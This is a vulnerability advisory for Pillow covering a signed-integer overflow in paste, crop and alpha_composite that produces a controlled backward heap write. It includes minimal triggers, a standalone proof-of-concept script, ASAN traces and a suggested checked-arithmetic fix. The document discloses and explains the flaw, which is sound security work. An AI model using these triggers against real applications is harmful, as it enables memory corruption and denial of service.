Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow

### Summary Pillow's public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits. In 4-byte pixel modes such as `RGBA`, this becomes a controlled backward heap underwrite: for a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes starting `4 * W` bytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row. Minimal public API trigger: ```python from PIL import Image INT_MIN = -(1 << 31) src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) dst = Image.new("RGBA", (8, 1)) dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1)) ``` The same root cause is also reachable through `Image.crop()` and `Image.alpha_composite()`. No private API, ctypes, custom Python object, or malformed image file is needed. This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with `double free or corruption (out)` ### Details `src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native `ImagingCore.paste()` method: ```python self.im.paste(source, box) ``` `src/_imaging.c:_paste()` parses the four Python coordinates into signed `int` values and calls `ImagingPaste()`: ```c int x0, y0, x1, y1; PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...); status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1); ``` `src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using signed `int` arithmetic: ```c xsize = dx1 - dx0; ysize = dy1 - dy0; if (dx0 + xsize > imOut->xsize) { xsize = imOut->xsize - dx0; } ``` With `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`. That matches the 2-pixel source image, so the size check passes. The later `dx0 + xsize` clip check wraps around and does not reject the out-of-bounds destination. For 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by `pixelsize`: ```c dx *= pixelsize; xsize *= pixelsize; memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize); ``` For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation. The primitive scales with the attacker-controlled source width: ```text source width = W box = ((1 << 31) - W, 0, INT_MIN, 1) C destination offset = -4 * W C memcpy size = 4 * W write range = [row_start - 4W, row_start) ``` Examples for `RGBA`: ```text W = 2 -> writes 8 bytes before the row W = 1024 -> writes 4096 bytes before the row W = 65536 -> writes 256 KiB before the row W = 1000000 -> writes about 4 MiB before the row ``` Pillow's image creation guard currently limits `xsize` to roughly `INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is `2,147,483,640` bytes before the destination row pointer. In practice, the usable range depends on memory availability, allocator layout, and process heap state. Two other documented APIs reach the same sink: ```python # Image.crop() path left = INT_MIN + 2 Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1)) # Image.alpha_composite() path, via its internal crop() base = Image.new("RGBA", (2, 1)) over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) base.alpha_composite(over, dest=(left, 0)) ``` `Image.crop()` keeps `right - left` small, so the Python decompression-bomb check allows it. `src/libImaging/Crop.c` then computes wrapped paste coordinates and calls `ImagingPaste()`. ### PoC The following standalone script exercises all three public API paths. Save it as `b021_poc.py` and run it with `paste`, `crop`, or `alpha`. ```python #!/usr/bin/env python3 import argparse import sys from PIL import Image INT_MIN = -(1 << 31) def rgba_pattern(width): out = bytearray() for i in range(width): out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44)) return bytes(out) def main(): parser = argparse.ArgumentParser() parser.add_argument( "variant", choices=("paste", "crop", "alpha"), nargs="?", default="paste", ) parser.add_argument("-w", "--width", type=int, default=2) args = parser.parse_args() width = args.width src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width)) if args.variant == "paste": box = ((1 << 31) - width, 0, INT_MIN, 1) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=paste box={box}") print(f"expected C dst offset={-4 * width}, write_size={4 * width}") sys.stdout.flush() dst.paste(src, box) print("paste returned; first row:", dst.tobytes().hex()) elif args.variant == "crop": left = INT_MIN + width box = (left, 0, left + width, 1) print(f"variant=crop box={box}") sys.stdout.flush() out = src.crop(box) print("crop returned; output:", out.tobytes().hex()) else: dest = (INT_MIN + width, 0) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=alpha dest={dest}") sys.stdout.flush() dst.alpha_composite(src, dest=dest) print("alpha_composite returned; first row:", dst.tobytes().hex()) sys.stdout.flush() if __name__ == "__main__": main() ``` Run against an ASAN build: ```bash env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py paste env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py crop env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py alpha ``` Observed ASAN signature for the direct `Image.paste()` path: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 _paste /out/src/src/_imaging.c:1461 0x... is located 8 bytes before 32-byte region ``` On non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal `Image.paste()` trigger returns from `paste()` and then the process aborts during cleanup with: ```text double free or corruption (out) Aborted (core dumped) ``` Observed ASAN signature for the `Image.crop()` and `Image.alpha_composite()` paths: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 ImagingCrop /out/src/src/libImaging/Crop.c:57 _crop /out/src/src/_imaging.c:1090 ``` ## Suggested fix Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints. For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons: ```c int64_t xsize64 = (int64_t)dx1 - dx0; int64_t ysize64 = (int64_t)dy1 - dy0; if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) { return ImagingError_ValueError("bad box"); } ``` `ImagingCrop()` should receive the same treatment for `sx1 - sx0`, `dx0 = -sx0`, and `dx1 = imIn->xsize - sx0`. ### Impact This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs. Applications are impacted if an untrusted user can control image operation coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay positions. The bytes written in the direct `Image.paste()` variant are copied from the source image, so attacker-controlled source pixels can influence the out-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose offset and length are both `4 * source_width`, bounded in practice by successful image allocation and heap layout. Source Code Location: https://github.com/python-pil